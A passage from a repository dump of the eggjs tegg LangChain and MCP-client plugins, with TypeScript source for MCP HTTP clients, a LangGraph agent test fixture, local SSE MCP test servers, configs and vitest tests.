HTTPMethodEnum.GET, path: '/graph' })\n  async get() {\n    const res = await this.compiledFooGraph.invoke(\n      {\n        messages: [],\n        aggregate: [],\n      },\n      {\n        configurable: {\n          thread_id: '1',\n        },\n        tags: ['trace-log'],\n      },\n    );\n\n    return {\n      value: res.messages\n        .filter((msg) => AIMessage.prototype.isPrototypeOf(msg))\n        .reduce((pre, cur) => {\n          return cur.content + pre;\n        }, ''),\n    };\n  }\n\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/structured' })\n  async structured() {\n    return {\n      name: this.structuredFooTool.name,\n      description: this.structuredFooTool.description,\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/app/modules/bar/module.yml",
    "content": "ChatModel:\n  clients:\n    chat:\n      apiKey: mock_api_key\n      model: Qwen2_5_7B_Instruct\n      temperature: 0\n      timeout: 10\n      type: openai\n      configuration:\n        baseURL: https://antchat.alipay.com/v1\n\nmcp:\n  clients:\n    bar:\n      url: http://127.0.0.1:17283/mcp/sse\n      clientName: barSse\n      version: 1.0.0\n      transportType: SSE\n      type: http\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/app/modules/bar/package.json",
    "content": "{\n  \"name\": \"llm-test-module\",\n  \"eggModule\": {\n    \"name\": \"llmTestModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/app/modules/bar/service/BoundChatModel.ts",
    "content": "import { BoundModel } from '@eggjs/langchain-decorator';\n\nimport { FooTool } from './Graph';\n\n@BoundModel({\n  modelName: 'chat',\n  tools: [FooTool],\n  mcpServers: ['bar'],\n})\nexport class BoundChatModel {}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/app/modules/bar/service/Graph.ts",
    "content": "import {\n  Graph,\n  GraphEdge,\n  IGraphEdge,\n  AbstractStateGraph,\n  GraphNode,\n  IGraphNode,\n  GraphStateType,\n  GraphTool,\n  IGraphTool,\n  TeggToolNode,\n  GraphRuntime,\n} from '@eggjs/langchain-decorator';\nimport { AccessLevel, Inject, Logger, SingletonProto, ToolArgs, ToolArgsSchema } from '@eggjs/tegg';\nimport { Annotation, MemorySaver } from '@langchain/langgraph';\nimport { AIMessage, BaseMessage, ToolMessage } from 'langchain';\n// import { AIMessage, BaseMessage, ToolMessage } from '@langchain/core/messages';\nimport * as z from 'zod/v4';\n\nexport enum FooGraphNodeName {\n  START = '__start__',\n  END = '__end__',\n  ACTION = 'action',\n  AGENT = 'agent',\n  TOOLS = 'tools',\n  NODE_A = 'a',\n  NODE_B = 'b',\n  NODE_C = 'c',\n  NODE_D = 'd',\n}\n\n@SingletonProto()\nexport class FooSaver extends MemorySaver {}\n\n// state\nexport const fooAnnotationStateDefinition = {\n  messages: Annotation<BaseMessage[]>({\n    reducer: (x, y) => x.concat(y),\n  }),\n  aggregate: Annotation<string[]>({\n    reducer: (x, y) => x.concat(y),\n  }),\n};\n\nexport type fooAnnotationStateDefinitionType = typeof fooAnnotationStateDefinition;\n\nexport const ToolType = {\n  query: z.string().describe('npm package name'),\n};\n\n@GraphTool({\n  toolName: 'search',\n  description: 'Call the foo tool',\n})\nexport class FooTool implements IGraphTool {\n  async execute(@ToolArgsSchema(ToolType) args: ToolArgs<typeof ToolType>) {\n    console.log('query: ', args.query);\n    return `hello ${args.query}`;\n  }\n}\n\n@GraphNode({\n  nodeName: FooGraphNodeName.ACTION,\n  tools: [FooTool],\n  mcpServers: ['bar'],\n})\nexport class FooNode implements IGraphNode<fooAnnotationStateDefinitionType> {\n  @Inject()\n  logger: Logger;\n\n  async execute(state: GraphStateType<fooAnnotationStateDefinitionType>, options: GraphRuntime) {\n    this.logger.info('Executing FooNode thread_id is', options.configurable?.thread_id);\n    console.log('response: ', state.messages);\n    const messages = state.messages;\n    const lastMessage = messages[messages.length - 1];\n    if (ToolMessage.prototype.isPrototypeOf(lastMessage)) {\n      return {\n        messages: [new AIMessage(lastMessage!.text!)],\n      };\n    }\n    return {\n      messages: [\n        new AIMessage({\n          tool_calls: [\n            {\n              name: 'search',\n              args: {\n                query: 'graph tool',\n              },\n              id: 'fc-6b565ce5-e0cf-4af3-8ed0-0ca75c509d9e',\n              type: 'tool_call',\n            },\n          ],\n          content: 'hello world',\n        }),\n      ],\n    };\n  }\n}\n\n@GraphNode({\n  nodeName: FooGraphNodeName.TOOLS,\n  tools: [FooTool],\n})\nexport class ToolNode extends TeggToolNode {}\n\n@GraphEdge({\n  fromNodeName: FooGraphNodeName.ACTION,\n  toNodeNames: [FooGraphNodeName.TOOLS, FooGraphNodeName.END],\n})\nexport class FooContinueEdge implements IGraphEdge<fooAnnotationStateDefinitionType, FooGraphNodeName> {\n  async execute(state: GraphStateType<fooAnnotationStateDefinitionType>): Promise<FooGraphNodeName> {\n    console.log('response: ', state.messages);\n    const messages = state.messages;\n    const lastMessage = messages[messages.length - 1] as AIMessage;\n    if (lastMessage?.tool_calls?.length) {\n      return FooGraphNodeName.TOOLS;\n    }\n    return FooGraphNodeName.END;\n  }\n}\n\n@GraphEdge({\n  fromNodeName: FooGraphNodeName.TOOLS,\n  toNodeNames: [FooGraphNodeName.ACTION],\n})\nexport class ToolsContinueEdge implements IGraphEdge<fooAnnotationStateDefinitionType, FooGraphNodeName> {}\n\n@GraphEdge({\n  fromNodeName: FooGraphNodeName.START,\n  toNodeNames: [FooGraphNodeName.ACTION],\n})\nexport class FooStartContinueEdge implements IGraphEdge<fooAnnotationStateDefinitionType, FooGraphNodeName> {}\n\n@Graph({\n  accessLevel: AccessLevel.PUBLIC,\n  nodes: [FooNode, ToolNode],\n  edges: [FooContinueEdge, FooStartContinueEdge, ToolsContinueEdge],\n  checkpoint: FooSaver,\n})\nexport class FooGraph extends AbstractStateGraph<FooGraphNodeName, typeof fooAnnotationStateDefinition> {\n  constructor() {\n    super(fooAnnotationStateDefinition);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        enable: false,\n      },\n    },\n    bodyParser: {\n      enable: false,\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/config/module.json",
    "content": "[\n  {\n    \"path\": \"../app/modules/bar\"\n  },\n  {\n    \"package\": \"../../../../\"\n  },\n  {\n    \"package\": \"@eggjs/mcp-client-plugin\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/config/plugin.js",
    "content": "'use strict';\n\n// eslint-disable-next-line @typescript-eslint/no-var-requires\nconst path = require('node:path');\n\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n\nexports.teggConfig = {\n  package: '@eggjs/tegg-config',\n  enable: true,\n};\n\nexports.teggLangChain = {\n  enable: true,\n  path: path.join(__dirname, '../../../../../'),\n};\n\nexports.teggController = {\n  package: '@eggjs/controller-plugin',\n  enable: true,\n};\n\nexports.teggMcpClient = {\n  enable: true,\n  package: '@eggjs/mcp-client-plugin',\n};\n\nexports.tracer = {\n  package: '@eggjs/tracer',\n  enable: true,\n};\n\nexports.watcher = false;\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/package.json",
    "content": "{\n  \"name\": \"egg-app\"\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/apps/langchain/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/fixtures/sse-mcp-server/http.ts",
    "content": "import http from 'node:http';\n\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';\nimport * as z from 'zod/v4';\n\n// Create an MCP server\nconst server = new McpServer({\n  name: 'Demo',\n  version: '1.0.0',\n});\n\n// Add an addition tool\nserver.registerTool(\n  'add',\n  {\n    inputSchema: { a: z.number(), b: z.number() },\n  },\n  async ({ a, b }) => ({\n    content: [{ type: 'text', text: String(a + b) }],\n  }),\n);\n\n// Add a dynamic greeting resource\nserver.registerResource('greeting', 'greeting://{name}', {}, async (uri) => ({\n  contents: [\n    {\n      uri: uri.href,\n      text: `Hello, ${uri.hostname}!`,\n    },\n  ],\n}));\n\nconst transports = {};\nexport const headers = {};\n\nexport let httpServer;\nexport async function startSSEServer(port = 17233) {\n  const httpServer = http.createServer(async (req, res) => {\n    const url = new URL(`http://127.0.0.1:${port}${req.url!}`);\n    const headerKey = `${req.method}${url.pathname}`;\n    const serverCode = req.headers['x-mcp-server-code'] as string;\n    headers[serverCode] = headers[serverCode] || {};\n    headers[serverCode][headerKey] = headers[serverCode][headerKey] || [];\n    headers[serverCode][headerKey].push(req.headers);\n    if (req.method === 'GET') {\n      const transport = new SSEServerTransport('/mcp', res);\n      transports[transport.sessionId] = transport;\n      // Connect the transport to the MCP server\n      await server.connect(transport);\n    } else if (req.method === 'POST') {\n      const sessionId = url.searchParams.get('sessionId');\n      // const chunks: Buffer[] = [];\n      // for await (const chunk of req) {\n      //   chunks.push(chunk);\n      // }\n      // const body = JSON.parse(Buffer.concat(chunks).toString('utf-8'));\n      const transport = transports[sessionId!] as SSEServerTransport;\n      await transport.handlePostMessage(req, res);\n      res.statusCode = 201;\n      res.end();\n    }\n  });\n  return new Promise<void>((resolve) => {\n    httpServer.listen(port, resolve);\n  });\n}\n\nexport async function stopSSEServer() {\n  server.close();\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/test/llm.test.ts",
    "content": "import assert from 'assert';\nimport { createRequire } from 'module';\nimport path from 'path';\n\nimport mm from '@eggjs/mock';\nimport { Tracer } from '@eggjs/tracer/lib/tracer';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nconst require = createRequire(import.meta.url);\n\ndescribe('plugin/langchain/test/llm.test.ts', () => {\n  let startSSEServer: any;\n  let stopSSEServer: any;\n  let app: any;\n\n  beforeAll(async () => {\n    const sseFixturePath = './fixtures/sse-mcp-server/http.ts';\n    const sseMod = await import(sseFixturePath);\n    startSSEServer = sseMod.startSSEServer;\n    stopSSEServer = sseMod.stopSSEServer;\n\n    await startSSEServer(17283);\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await stopSSEServer();\n  });\n\n  afterEach(() => {\n    mm.restore();\n  });\n\n  beforeAll(async () => {\n    mm(process.env, 'EGG_TYPESCRIPT', true);\n    mm(process, 'cwd', () => {\n      return path.join(__dirname, '..');\n    });\n    app = mm.app({\n      baseDir: path.join(__dirname, 'fixtures/apps/langchain'),\n      framework: path.dirname(require.resolve('egg/package.json')),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => {\n    return app.close();\n  });\n\n  it('should work', async () => {\n    const { ChatOpenAIModel } = await import('../src/lib/ChatOpenAI.ts');\n    mm(ChatOpenAIModel.prototype, 'invoke', async () => {\n      return {\n        text: 'hello world',\n      };\n    });\n    const res = await app.httpRequest().get('/llm/hello').expect(200);\n    assert.deepStrictEqual(res.body, {\n      text: 'hello world',\n    });\n  });\n\n  it('should bound work', async () => {\n    const { BaseChatOpenAI } = await import('@langchain/openai');\n    mm(BaseChatOpenAI.prototype, 'invoke', async () => {\n      return {\n        text: 'hello world 2',\n      };\n    });\n    const res = await app.httpRequest().get('/llm/bound-chat').expect(200);\n    assert.deepStrictEqual(res.body, {\n      text: 'hello world 2',\n    });\n  });\n\n  it('should graph work', async () => {\n    app.mockLog();\n    mm(Tracer.prototype, 'traceId', 'test-trace-id');\n    await app.httpRequest().get('/llm/graph').expect(200, { value: 'hello graph toolhello world' });\n    app.expectLog(/agent_run/);\n    app.expectLog(/Executing FooNode thread_id is 1/);\n    app.expectLog(/traceId=test-trace-id/);\n  });\n\n  it('should persistRun be triggered when graph.invoke is called', async () => {\n    const { LangGraphTracer } = await import('../src/lib/tracing/LangGraphTracer.ts');\n\n    const persistRunCalls: any[] = [];\n    const originalPersistRun = (LangGraphTracer.prototype as any).persistRun;\n    mm(LangGraphTracer.prototype, 'persistRun', function (this: any, run: any) {\n      persistRunCalls.push(run);\n      return originalPersistRun.call(this, run);\n    });\n\n    app.mockLog();\n    mm(Tracer.prototype, 'traceId', 'test-persist-run-trace-id');\n\n    await app.httpRequest().get('/llm/graph');\n\n    assert(persistRunCalls.length > 0, 'persistRun should be called at least once');\n\n    const hasCorrectTraceId = persistRunCalls.some((run) => run.trace_id === 'test-persist-run-trace-id');\n    assert(hasCorrectTraceId, 'persistRun should receive correct trace_id from invoke call');\n\n    app.expectLog(/agent_run/);\n    app.expectLog(/traceId=test-persist-run-trace-id/);\n  });\n\n  it('should structured work', async () => {\n    const res = await app.httpRequest().get('/llm/structured').expect(200);\n    assert.deepStrictEqual(res.body, {\n      name: 'search',\n      description: 'Call the foo tool',\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/plugin/langchain/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures/**/*.ts\"]\n}\n"
  },
  {
    "path": "tegg/plugin/langchain/tsdown.config.ts",
    "content": "import { defineConfig, type UserConfig } from 'tsdown';\n\nconst config: UserConfig = defineConfig({\n  unused: {\n    level: 'error',\n    ignore: ['@eggjs/tegg-plugin', 'egg'],\n  },\n});\nexport default config;\n"
  },
  {
    "path": "tegg/plugin/mcp-client/package.json",
    "content": "{\n  \"name\": \"@eggjs/mcp-client-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"mcp client for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"mcp\",\n    \"module\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/mcp-client\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/mcp-client\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./lib/constants\": \"./src/lib/constants.ts\",\n    \"./lib/EggHttpMCPClient\": \"./src/lib/EggHttpMCPClient.ts\",\n    \"./lib/EggHttpStaticMCPClient\": \"./src/lib/EggHttpStaticMCPClient.ts\",\n    \"./lib/HttpMCPClientFactory\": \"./src/lib/HttpMCPClientFactory.ts\",\n    \"./lib/QualifierUtil\": \"./src/lib/QualifierUtil.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./lib/constants\": \"./dist/lib/constants.js\",\n      \"./lib/EggHttpMCPClient\": \"./dist/lib/EggHttpMCPClient.js\",\n      \"./lib/EggHttpStaticMCPClient\": \"./dist/lib/EggHttpStaticMCPClient.js\",\n      \"./lib/HttpMCPClientFactory\": \"./dist/lib/HttpMCPClientFactory.js\",\n      \"./lib/QualifierUtil\": \"./dist/lib/QualifierUtil.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/mcp-client\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@modelcontextprotocol/sdk\": \"^1.23.0\",\n    \"urllib\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/controller-plugin\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"zod\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"teggMcpClient\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggMcpClient\",\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/src/index.ts",
    "content": "export * from './lib/constants.ts';\nexport * from './lib/QualifierUtil.ts';\nexport * from './lib/HttpMCPClientFactory.ts';\n"
  },
  {
    "path": "tegg/plugin/mcp-client/src/lib/EggHttpMCPClient.ts",
    "content": "import type { HttpClientOptions } from '@eggjs/mcp-client';\nimport { mergeHeaders, HttpMCPClient } from '@eggjs/mcp-client';\nimport type { Logger } from '@eggjs/tegg';\nimport { ContextHandler } from '@eggjs/tegg-runtime';\nimport type { fetch } from 'urllib';\n\nimport { McpMethod } from './constants.ts';\nconst MCP_METHOD = Symbol('Context#mcpMethod');\nconst MCP_TOOL = Symbol('Context#mcpTool');\nexport interface EggHttpMCPClientOptions {\n  clientName: string;\n  clientVersion: string;\n  logger: Logger;\n  transportOptions?: HttpClientOptions['transportOptions'];\n  requestOptions?: HttpClientOptions['requestOptions'];\n  fetch: typeof fetch;\n  transportType: HttpClientOptions['transportType'];\n  url: string;\n}\nexport class EggHttpMCPClient extends HttpMCPClient {\n  declare protected readonly logger: Logger;\n  constructor(options: EggHttpMCPClientOptions) {\n    super(\n      {\n        name: options.clientName,\n        version: options.clientVersion,\n      },\n      {\n        fetch: options.fetch,\n        transportType: options.transportType,\n        url: options.url,\n        logger: options.logger,\n        transportOptions: {\n          ...options.transportOptions,\n          get requestInit() {\n            return {\n              ...options.transportOptions?.requestInit,\n              get headers() {\n                return mergeHeaders(options.transportOptions?.requestInit?.headers);\n              },\n            };\n          },\n        },\n        requestOptions: options.requestOptions,\n      },\n    );\n    this.logger = options.logger;\n  }\n  async init(): Promise<void> {\n    await super.init();\n  }\n  async listTools(\n    params?: Parameters<HttpMCPClient['listTools']>['0'],\n    options?: Parameters<HttpMCPClient['listTools']>['1'],\n  ): ReturnType<HttpMCPClient['listTools']> {\n    const context = ContextHandler.getContext();\n    if (context) {\n      context.set(MCP_METHOD, McpMethod.LIST_TOOLS);\n    }\n    return super.listTools(params, options);\n  }\n  async listPrompts(\n    params?: Parameters<HttpMCPClient['listPrompts']>['0'],\n    options?: Parameters<HttpMCPClient['listPrompts']>['1'],\n  ): ReturnType<HttpMCPClient['listPrompts']> {\n    const context = ContextHandler.getContext();\n    if (context) {\n      context.set(MCP_METHOD, McpMethod.LIST_PROMPTS);\n    }\n    return super.listPrompts(params, options);\n  }\n  async listResources(\n    params?: Parameters<HttpMCPClient['listResources']>['0'],\n    options?: Parameters<HttpMCPClient['listResources']>['1'],\n  ): ReturnType<HttpMCPClient['listResources']> {\n    const context = ContextHandler.getContext();\n    if (context) {\n      context.set(MCP_METHOD, McpMethod.LIST_RESOURCES);\n    }\n    return super.listResources(params, options);\n  }\n  async connect(\n    transport: Parameters<HttpMCPClient['connect']>['0'],\n    options?: Parameters<HttpMCPClient['connect']>['1'],\n  ): ReturnType<HttpMCPClient['connect']> {\n    const context = ContextHandler.getContext();\n    if (context) {\n      context.set(MCP_METHOD, McpMethod.INITIALIZE);\n    }\n    return super.connect(transport, options);\n  }\n  async notification(\n    notification: Parameters<HttpMCPClient['notification']>['0'],\n    options?: Parameters<HttpMCPClient['notification']>['1'],\n  ): ReturnType<HttpMCPClient['notification']> {\n    if (notification?.method === 'notifications/initialized') {\n      const context = ContextHandler.getContext();\n      if (context) {\n        context.set(MCP_METHOD, McpMethod.NOTIFICATION_INIT);\n      }\n    }\n    return super.notification(notification, options);\n  }\n  async callTool(\n    params: Parameters<HttpMCPClient['callTool']>['0'],\n    resultSchema?: Parameters<HttpMCPClient['callTool']>['1'],\n    options?: Parameters<HttpMCPClient['callTool']>['2'],\n  ): ReturnType<HttpMCPClient['callTool']> {\n    const context = ContextHandler.getContext();\n    if (context) {\n      context.set(MCP_TOOL, params?.name);\n      context.set(MCP_METHOD, McpMethod.CALL_TOOLS);\n    }\n    return super.callTool(params, resultSchema, options);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/src/lib/EggHttpStaticMCPClient.ts",
    "content": "import assert from 'node:assert';\n\nimport {\n  getMCPClientConfig,\n  getMCPClientName,\n  MCPClientInjectName,\n  MCPClientQualifierAttribute,\n} from '@eggjs/mcp-client';\nimport { AccessLevel, Inject, LifecycleInit, MultiInstanceProto, ObjectInitType, MultiInstanceInfo } from '@eggjs/tegg';\nimport type {\n  Logger,\n  ModuleConfig,\n  MultiInstancePrototypeGetObjectsContext,\n  ObjectInfo,\n  QualifierInfo,\n} from '@eggjs/tegg';\nimport { ModuleConfigUtil } from '@eggjs/tegg/helper';\nimport { fetch } from 'urllib';\n\nimport { EggHttpMCPClient } from './EggHttpMCPClient.ts';\nimport { QualifierUtil } from './QualifierUtil.ts';\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  // 从 module.yml 中动态获取配置来决定需要初始化几个对象\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath) as ModuleConfig | undefined;\n    const moduleName = ModuleConfigUtil.readModuleNameSync(ctx.unitPath);\n    const clients = (config as any)?.mcp?.clients;\n    if (!clients) return [];\n    return Object.keys(clients)\n      .filter((clientName) => {\n        return clients[clientName].type === 'http';\n      })\n      .map((clientName: string) => {\n        const properQualifiers: Record<PropertyKey, QualifierInfo[]> = {\n          ...QualifierUtil.getModuleConfigQualifier(moduleName),\n        };\n        return {\n          name: MCPClientInjectName,\n          qualifiers: [\n            {\n              attribute: MCPClientQualifierAttribute,\n              value: clientName,\n            },\n          ],\n          properQualifiers,\n        };\n      });\n  },\n})\nexport class EggHttpStaticMCPClient extends EggHttpMCPClient {\n  constructor(\n    @Inject() moduleConfig: ModuleConfig,\n    @Inject() logger: Logger,\n    @MultiInstanceInfo([MCPClientQualifierAttribute]) objInfo: ObjectInfo,\n  ) {\n    const configName = getMCPClientName(objInfo);\n    const sseClientConfig = getMCPClientConfig(moduleConfig, objInfo);\n    const clientName = sseClientConfig.clientName ?? configName;\n    const mcpServerSubConfig = {\n      ...sseClientConfig,\n    };\n\n    assert(mcpServerSubConfig.url, `not found mcpServerSubConfig.url for ${clientName}`);\n\n    super({\n      clientName,\n      clientVersion: sseClientConfig.version ?? '1.0.0',\n      transportType: mcpServerSubConfig.transportType as any,\n      url: mcpServerSubConfig.url,\n      logger,\n      fetch,\n    });\n  }\n\n  @LifecycleInit()\n  async _init(): Promise<void> {\n    await super.init();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/src/lib/HttpMCPClientFactory.ts",
    "content": "import type { HttpClientOptions } from '@eggjs/mcp-client';\nimport { AccessLevel, Inject, SingletonProto } from '@eggjs/tegg';\nimport type { Logger } from '@eggjs/tegg';\nimport type { Implementation } from '@modelcontextprotocol/sdk/types.js';\nimport { fetch } from 'urllib';\n\nimport { EggHttpMCPClient } from './EggHttpMCPClient.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n  name: 'httpMcpClientFactory',\n})\nexport class HttpMCPClientFactory {\n  @Inject()\n  private readonly logger: Logger;\n\n  async build(clientInfo: Implementation, options: Omit<HttpClientOptions, 'logger'>): Promise<EggHttpMCPClient> {\n    const httpMCPClient = new EggHttpMCPClient({\n      clientName: clientInfo.name,\n      clientVersion: clientInfo.version,\n      fetch,\n      ...(options as HttpClientOptions),\n      logger: this.logger,\n    });\n    await httpMCPClient.init();\n    return httpMCPClient;\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/src/lib/QualifierUtil.ts",
    "content": "import { ConfigSourceQualifierAttribute } from '@eggjs/tegg';\nimport type { QualifierInfo } from '@eggjs/tegg';\n\n// TODO refactor to ModuleConfig and mist impl\nexport class QualifierUtil {\n  static getModuleConfigQualifier(moduleName: string): Record<string, QualifierInfo[]> {\n    return {\n      moduleConfig: [\n        {\n          attribute: ConfigSourceQualifierAttribute,\n          value: moduleName,\n        },\n      ],\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/src/lib/constants.ts",
    "content": "export const McpMethod = {\n  INITIALIZE: 'initialize',\n  NOTIFICATION_INIT: 'notifications/initialized',\n  LIST_TOOLS: 'tools/list',\n  CALL_TOOLS: 'tools/call',\n  LIST_PROMPTS: 'prompts/list',\n  LIST_RESOURCES: 'resources/list',\n} as const;\nexport type McpMethod = (typeof McpMethod)[keyof typeof McpMethod];\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/apps/mcpclient/app/modules/bar/controller/AppController.ts",
    "content": "import { MCPClientQualifier, MCPClientInjectName, HttpMCPClient } from '@eggjs/mcp-client';\nimport { HTTPController, HTTPMethod, HTTPMethodEnum, Inject } from '@eggjs/tegg';\n\nimport { HttpMCPClientFactory } from '../../../../../../../../src/index.ts';\n\n@HTTPController({\n  path: '/mcpclient',\n})\nexport class AppController {\n  @Inject()\n  @MCPClientQualifier('bar')\n  private readonly mcpClient: HttpMCPClient;\n\n  @Inject({\n    name: MCPClientInjectName,\n  })\n  @MCPClientQualifier('foo')\n  private readonly StreamMcpClient: HttpMCPClient;\n\n  @Inject()\n  private readonly httpMCPClientFactory: HttpMCPClientFactory;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello-sse',\n  })\n  async hello() {\n    const res = await this.mcpClient.listTools();\n    return res;\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello-streamable',\n  })\n  async streamable() {\n    const res = await this.StreamMcpClient.listTools();\n    return res;\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello-factory',\n  })\n  async factory() {\n    const client = await this.httpMCPClientFactory.build(\n      {\n        name: 'foo',\n        version: '1.0.0',\n      },\n      {\n        transportType: 'STREAMABLE_HTTP',\n        url: 'http://127.0.0.1:17263/',\n      },\n    );\n    const res = await client.listTools();\n    return res;\n  }\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/hello-langchain-tools',\n  })\n  async langchainTools() {\n    const tools = await this.mcpClient.getLangChainTool();\n    return {\n      length: tools.length,\n      tools: tools.map((tool) => ({\n        name: tool.name,\n        description: tool.description,\n        schema: tool.schema,\n      })),\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/apps/mcpclient/app/modules/bar/module.yml",
    "content": "mcp:\n  clients:\n    bar:\n      url: http://127.0.0.1:17253/mcp/sse\n      clientName: barSse\n      version: 1.0.0\n      transportType: SSE\n      type: http\n    foo:\n      url: http://127.0.0.1:17263/\n      clientName: barStreamable\n      version: 1.0.0\n      transportType: STREAMABLE_HTTP\n      type: http\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/apps/mcpclient/app/modules/bar/package.json",
    "content": "{\n  \"name\": \"mcp-client-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"mcpClientModule\"\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/apps/mcpclient/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  const config = {\n    keys: 'test key',\n    security: {\n      csrf: {\n        enable: false,\n      },\n    },\n    bodyParser: {\n      enable: false,\n    },\n  };\n  return config;\n};\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/apps/mcpclient/config/module.json",
    "content": "[\n  {\n    \"path\": \"../app/modules/bar\"\n  },\n  {\n    \"package\": \"../../../../\"\n  }\n]\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/apps/mcpclient/config/plugin.js",
    "content": "'use strict';\n\n// eslint-disable-next-line @typescript-eslint/no-var-requires\nconst path = require('node:path');\n\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n\nexports.teggConfig = {\n  package: '@eggjs/tegg-config',\n  enable: true,\n};\n\nexports.teggMcpClient = {\n  enable: true,\n  path: path.join(__dirname, '../../../../../'),\n};\n\nexports.teggController = {\n  package: '@eggjs/controller-plugin',\n  enable: true,\n};\n\nexports.watcher = false;\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/apps/mcpclient/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/plugin/mcp-client/test/fixtures/sse-mcp-server/http.ts",
    "content": "import http from 'node:http';\n\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';\nimport { z } from 'zod';\n\n// Create an MCP server\nconst server = new McpServer({\n  name: 'Demo',\n  version: '1.0.0',\n});\n\n// Add an addition tool\nserver.registerTool(\n  'add',\n  {\n    inputSchema: { a: z.number(), b: z.number() },\n  },\n  async ({ a, b }) => ({\n    content: [{ type: 'text', text: String(a + b) }],\n  }),\n);\n\n// Add a dynamic greeting resource\nserver.registerResource('greeting', 'greeting://{name}', {}, async (uri) => ({\n  contents: [\n    {\n      uri: uri.href,\n      text: `Hello, ${uri.hostname}!`,\n    },\n  ],\n}));\n\nconst transports: Record<string, any> = {};\nexport const headers: Record<string, any> = {};\n\nexport let httpServer: http.Server;\nexport async function startSSEServer(port = 17233) {\n  const httpServer = http.createServer(async (req, res) => {\n    const url = new 